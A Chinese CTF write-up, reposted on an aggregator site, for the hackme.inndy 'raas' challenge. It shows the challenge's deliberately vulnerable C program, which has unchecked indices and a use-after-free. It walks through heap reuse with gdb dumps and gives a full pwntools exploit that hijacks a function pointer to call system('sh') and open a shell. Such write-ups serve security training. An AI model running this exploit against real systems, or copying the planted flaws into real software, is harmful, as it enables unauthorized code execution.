综合编程

hackme.inndy raas wp

微信扫一扫,分享到朋友圈

hackme.inndy raas wp
0
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct record {
    void (*print)(struct record *);
    void (*free)(struct record *);
    union {
        int integer;
        char *string;
    };
};

struct record *records[16];

int ask(const char * q)
{
    char buff[32];
    printf("%s > ", q);
    fgets(buff, sizeof(buff), stdin);
    return atoi(buff);
}

void rec_int_print(struct record *rec)
{
    printf("Record(Type=Integer, Value=%d)n", rec->integer);
}

void rec_str_print(struct record *rec)
{
    printf("Record(Type=String, Value=%s)n", rec->string);
}

void rec_int_free(struct record *rec)
{
    free(rec);
    puts("Record freed!");
}

void rec_str_free(struct record *rec)
{
    free(rec->string);
    free(rec);
    puts("Record freed!");
}

void do_new()
{
    int idx = ask("Index");

    if(idx < 0 || idx > 16) {
        puts("Out of index!");
        return;
    }
    if(records[idx]) {
        printf("Index #%d is used!n", idx);
        return;
    }

    struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
    r->print = rec_int_print;
    r->free = rec_int_free;

    puts("Blob type:");
    puts("1. Integer");
    puts("2. Text");
    int type = ask("Type");
    unsigned int len;

    switch(type) {
        case 1:
            r->integer = ask("Value");
            break;
        case 2:
            len = ask("Length");
            if(len > 1024) {
                puts("Length too long, please buy record service premium to store longer record!");
                return;
            }
            r->string = malloc(len);
            printf("Value > ");
            fgets(r->string, len, stdin);
            r->print = rec_str_print;
            r->free = rec_str_free;
            break;
        default:
            puts("Invalid type!");
            return;
    }

    puts("Okey, we got your data. Here is it:");
    r->print(r);
}

void do_del()
{
    int idx = ask("Index");
    records[idx]->free(records[idx]);
}

void do_dump()
{
    int idx = ask("Index");
    records[idx]->print(records[idx]);
}

int main()
{
    alarm(600);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    puts("Welcome to use my Record-as-a-Service (free plan)");
    puts("You can only save Integer or String for 600 seconds");
    puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");

    puts("Here is term of service. You must agree to use this service. Please read carefully!");
    puts("================================================================================");
    system("cat tos.txt | head -n 30 | sed -e 's/^/    /'");
    puts("================================================================================");


    while(1) {
        puts("1. New record");
        puts("2. Del record");
        puts("3. Show record");

        switch(ask("Act")) {
            case 1:
                do_new();
                break;
            case 2:
                do_del();
                break;
            case 3:
                do_dump();
                break;
            default:
                puts("Bye~ Thanks for using our service!");
                return 0;
        }
    }
}
Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

分析

这个题目给了源代码,题目提示是uaf。

题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。

结构体如下

struct record {
    void (*print)(struct record *);
    void (*free)(struct record *);
    union {
        int integer;
        char *string;
    };
};

看do_new函数逻辑:

int do_new()
{
  int v1; // eax
  signed int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  size_t size; // [esp+Ch] [ebp-Ch]

  v2 = ask("Index");
  if ( v2 < 0 || v2 > 16 )
    return puts("Out of index!");
  if ( records[v2] )
    return printf("Index #%d is used!n", v2);
  records[v2] = malloc(0xCu);
  v3 = records[v2];
  *v3 = rec_int_print;
  *(v3 + 4) = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v1 = ask("Type");
  if ( v1 == 1 )
  {
    *(v3 + 8) = ask("Value");
  }
  else
  {
    if ( v1 != 2 )
      return puts("Invalid type!");
    size = ask("Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy record service premium to store longer record!");
    *(v3 + 8) = malloc(size);
    printf("Value > ");
    fgets(*(v3 + 8), size, _bss_start);
    *v3 = rec_str_print;
    *(v3 + 4) = rec_str_free;
  }
  puts("Okey, we got your data. Here is it:");
  return (*v3)(v3);
}
  • 先malloc了12字节的堆
  • 头4个字节存用于print结构体的函数指针
  • 再4个字节存用于free结构体的函数指针
  • 如果type是integer,最后四个字节存输入的整数,
  • 如果type是string,获取长度,malloc一个指定长度的堆,新malloc的堆的指针存到之前那12字节的最后四个字节里

利用思路:

  • new 两个record,delete掉,这里的record类型随意,但是字符的要注意新new的长度不要等于12
  • new一个字符串类型的record,长度为12,假设new的两个record是0、1,删除的顺序是0、1,那么这个时候在fastbin的链表里面是 1->0 ,new一个record,存函数指针那个堆复用了1的堆,用来存内容的那个堆是用了0的堆
  • 往0那个堆里面写我们想要的东西,再删除0的record,这样就能getshell

调试

进行以下操作:

  • new index=1 int 0xff
  • new index=2 int 0x88
  • delete index=1
  • delete index=2
  • new index=3 str ‘aaaabbbbccc’
  • new index=4 str ‘dddd’

先添加两个整数

gdb-peda$ x /32wx 0x0804c008
0x804c008:  0x0804869e  0x080486de  0x000000ff  0x00000011
0x804c018:  0x0804869e  0x080486de  0x00000088  0x00020fe1

对应是:

地址  print函数指针   free函数指针    整型变量
0x804c008   0x0804869e  0x080486de  0x000000ff

释放掉两个整数的堆:

gdb-peda$ x /32wx 0x0804c008
0x804c008:  0x00000000  0x080486de  0x000000ff  0x00000011
0x804c018:  0x0804c000  0x080486de  0x00000088  0x00020fe1

添加字符串aaaabbbbccc后的堆:

gdb-peda$ x/32wx 0x9a49008
0x9a49008:  0x00000000  0x080486de  0x000000ff  0x00000011
0x9a49018:  0x080486be  0x08048705  0x09a49028  0x00000019
0x9a49028:  0x61616161  0x62626262  0x0a636363  0x00000000
0x9a49038:  0x00000000  0x00020fc9  0x00000000  0x00000000

以看到,输出aaaabbbbccc的时候,占用的就是原来index=1的整数分配的空间。其中aaaa覆盖了print函数的指针,bbbb覆盖了free函数的指针。虽然index=1被释放了,但是指针还在。如果此时再调用do_del来释放index=1的内容,就可以控制EIP了。

exp:

from pwn import *

context(arch='i386',log_level='debug')
r=process('./raas')
# r=remote('hackme.inndy.tw',7719)
elf=ELF('./raas')
system=elf.symbols['system']

def add(Index,Type,Length,Value):
    r.sendlineafter("Act > ","1")
    r.sendlineafter("Index > ",str(Index))
    r.sendlineafter("Type > ",str(Type))
    if Type==2:
        r.sendlineafter("Length > ",str(Length))
    r.sendlineafter("Value > ",str(Value))

def delete(Index):
    r.sendlineafter("Act > ","2")
    r.sendlineafter("Index > ",str(Index))

def show(Index):
    r.sendlineafter("Act > ","3")
    r.sendlineafter("Index > ",str(Index))




add(0,1,20,"0000")
add(1,1,20,"1111")

delete(0)
delete(1)
# gdb.attach(r)

add(2,2,12,'shx00x00'+p32(system))

delete(0)

r.interactive()

参考

  • https://genowang.github.io/2019/01/01/hackme-inndy-tw-PWN%E7%AC%94%E8%AE%B0/#onepunch
  • https://blog.csdn.net/charlie_heng/article/details/78943796

阅读原文...


Avatar

Rails Action Cable: the good and the bad

上一篇

Dew Drop – June 14, 2019 (#2980)

下一篇

您也可能喜欢

评论已经被关闭。

插入图片
hackme.inndy raas wp

长按储存图像,分享给朋友